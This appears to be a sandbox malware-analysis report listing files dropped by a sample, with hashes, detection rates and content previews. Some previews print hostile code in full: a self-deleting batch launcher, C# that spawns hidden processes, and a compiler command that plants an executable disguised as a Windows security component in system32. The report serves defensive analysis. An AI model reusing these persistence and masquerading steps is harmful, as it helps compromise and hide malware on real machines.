SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdiswjik.ofg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqzhloxv.5xp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yaf2zcbh.ssf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zjqbehqr.3nn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ztgi4v5w.qyi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwmgeohn.n3x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	194
Entropy (8bit):	5.425739514315616
Encrypted:	false
SSDEEP:	6:hCRLuVFOOr+DER5GK3jsycmvKOZG1wkn23fWXf:CuVEOCDEfGwfDf6
MD5:	B7EDA70BFA6BDE017D7BA7B98F555432
SHA1:	A1E7FB39FF345646739042842FF538B89F8B623C
SHA-256:	4CD4E160E2B06AAFD9160A298DD2CFA5D101F4A10F6D6EF1C7D7BAD723357AFF
SHA-512:	C5551A9D2FE8AFDF0869C98A9BF8091100CD10C3928E3C8A39A4249AF512B354D508A13381AB3A6F75BF35F16D31E2BCC152338D5C97446D83977C04AF117CF8
Malicious:	false
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\htnlvXarKJ.bat"

C:\Users\user\AppData\Local\Temp\pLgmhAE2gF

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774724
Encrypted:	false
SSDEEP:	3:SOK8IjidXl:SOK8Im
MD5:	C8B73D408DAC613B13812CBB3010C3EC
SHA1:	82D0BFE6DE98322CBEC34715C4E290F850B62FC6
SHA-256:	06C74A46AB8A23DD009E77CFDE0A32E1C62D751FB18184D55CE8E169CBFD492E
SHA-512:	85BD358AB826B69B5D1B01D6A59EE7FF090A26D9E35B277BDC457F6A6A250754E25F76C515408715AF12B38655E2878F06B29E0A12AAF664216BF23A8C362A7F
Malicious:	false
Preview:	i6kdvue35vGlzFQzpstuhg1pj

C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.0.cs

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.044971197390901
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLdAHIaiFkD:JNVQIbSfhV7TiFkMSfhj7FkD
MD5:	88EAEA4D3160BA81257B183633588C3F
SHA1:	4FA027F71D2D95AA47C693BAC8FEE05310C8F6A3
SHA-256:	5C6D467D3F9909BDD4D73769DDFA4B28C758532553CA85C24581305900A39672
SHA-512:	14F659B51F6C1AE79316569CF2234BAAF4C772E4726196EA409E2CC8DDF0801372B24249229B920AE814031A54C5F8F4A4E81A302C298DD2AA88A74733D1E98D
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.1055317360140835
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fdf:Hu7L//TRq79cQWfFf
MD5:	EB22EF9FD6CA88347348EFA3AE112151
SHA1:	26A77E6E53C19E90AE3A8C96A191CA2A8E95D6D1
SHA-256:	22B475BBAF30EAC72B0CD1684B643F7254211C5D316F833DE7475CE6286101F7
SHA-512:	8D6D41339575627BB39455A63D546E2DAD3453683A23783F7E8A1D5CDAB055E9F87F3C6EBD29FE51B57E9406B65BFF7EB3E41B98DAD2D416C4FE01C28B44B79D
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.0.cs"

C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.out

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (329), with CRLF, CR line terminators
Category:	modified
Size (bytes):	750
Entropy (8bit):	5.262614866492698
Encrypted:	false
SSDEEP:	12:KJN/I/u7L//TRq79cQWfFGKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBI/un/Vq79tWf0Kax5DqBVKVrdFAMb
MD5:	D001CB847797BE78BB807346E10D5895
SHA1:	8AFC6F7C7BDCF7BFF2ED5DE5B809557E42B69173
SHA-256:	41C12AFCE55F8A4EACFD0B7A6FCDED80C6CBDDAFF71258D71E11BA502F3CD5B7
SHA-512:	D2EFAE84EFFA74A7BA68EB25267DE7A0DD78348A998DE646F30B7D31B44B77A637E46C0C24EF3B1FD383FB5E209A99EB6B3A6F156CB5F9CB749FF1DC107B2F70
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\wFGeTwwwZj

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688184
Encrypted:	false
SSDEEP:	3:XKP/zB:I/F
MD5:	67C508F11BD5901A7E78FA2C4D1CF7EA
SHA1:	92382F2DF556B7F8D9018D837A8444C4FDFA9840
SHA-256:	6D4BB06A63942C4855B3D260C94CCD67D9A20FAC1CD5C20A9C52C570C1952C14
SHA-512:	01BA79222464F4E7EC926DA0011A61C24DCD02330795220D9F0D6DB07FB0E36F4EA5711B4CCEC374825217E420C4CF94952CCD178C63A42A37771BF78BEB24EA
Malicious:	false
Preview:	Ew7NwgTF0L4EwD3hf7npFvsSb

C:\Users\user\Desktop\FQJMKusv.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: wYP4G1XOF1.exe, Detection: malicious, Browse Filename: w49A5FG3yg.exe, Detection: malicious, Browse Filename: 9XHFe6y4Dj.exe, Detection: malicious, Browse Filename: 12Vjq7Yv2E.exe, Detection: malicious, Browse Filename: 7WyBcig6e3.exe, Detection: malicious, Browse Filename: XyvebZw6qd.exe, Detection: malicious, Browse Filename: A5jfl43XHt.exe, Detection: malicious, Browse Filename: QDJA9geR12.exe, Detection: malicious, Browse Filename: zygWTMeQC2.exe, Detection: malicious, Browse Filename: vOG22UGT3M.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GxmnOonm.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IWZmSUOS.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\MMQdZROL.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TegMjxUT.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UKABrbpL.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\WdtCbgnJ.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\e12242bdbe2f4c

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with very long lines (465), with no line terminators
Category:	dropped
Size (bytes):	465
Entropy (8bit):	5.873670462348272
Encrypted:	false
SSDEEP:	12:0s6i/786Ww9pT/uiB+WX095Zd4hZ5DYMFJwY5:0I78Nw99/uK+WX01kDXJwY5
MD5:	3CDF339B0C193ACD4DC9FBDA278520F2
SHA1:	5CBD26F4BC19CF35A450EA0DE070E1AFE4A8A1EB
SHA-256:	EC65AA333EA3A98232B5756A498408395399DEAA901A0F6AE9F79CE6E8CF53EC
SHA-512:	7D43687344838D1D2743651970B5A5E90161DDA2955263836E465B5453957851A73E1F672E1CA99C8F1D767E714B2F2E5EF995E78AEE968FBB247151249DA252
Malicious:	false
Preview:	B2YfkM50wmekS7lwkeDuusc6gg6mxDPKD538GCmEMl12utPHgoUKvYsTab9DPTDsWUhXDnqi28hI1kLxRzFJtFYoMkioDiz3iJfaL1D38wSx1jbzPLwaO38R52KcEBeTJojsEvlZvLL6xlxmIsY1wYpoKOeTrkz6S8nMAtvekWpCsCeUFhUVmmgu95hzQSsKWOoy8kmY74Ratm5HuKNJQdUpb2NEL5OSoeqeYpVe55YsVGBW9aFFEj3348WFXhNBp9wO6btEytOVElUV10FvzJNFkxkZTQHXsXCWUwahqAQVUiySoBOgcbLgvroI1Uvim0nqi8AEaiEz22uB8SvRBk5QMgknIRqWPrte5ItqAJG4WWn36mKjidhB5WeCXX6J1sjKJPG0iER1eB4z2rqfHGxvKrjjnqTmN6CowctrfTAeMph3boJpraCv4yAbqhM2vooh9PDa799xGTjfJ

C:\Users\user\Desktop\gWTqOnyV.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lqHRDSoi.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\ozbgygOD.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qKxhyytD.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
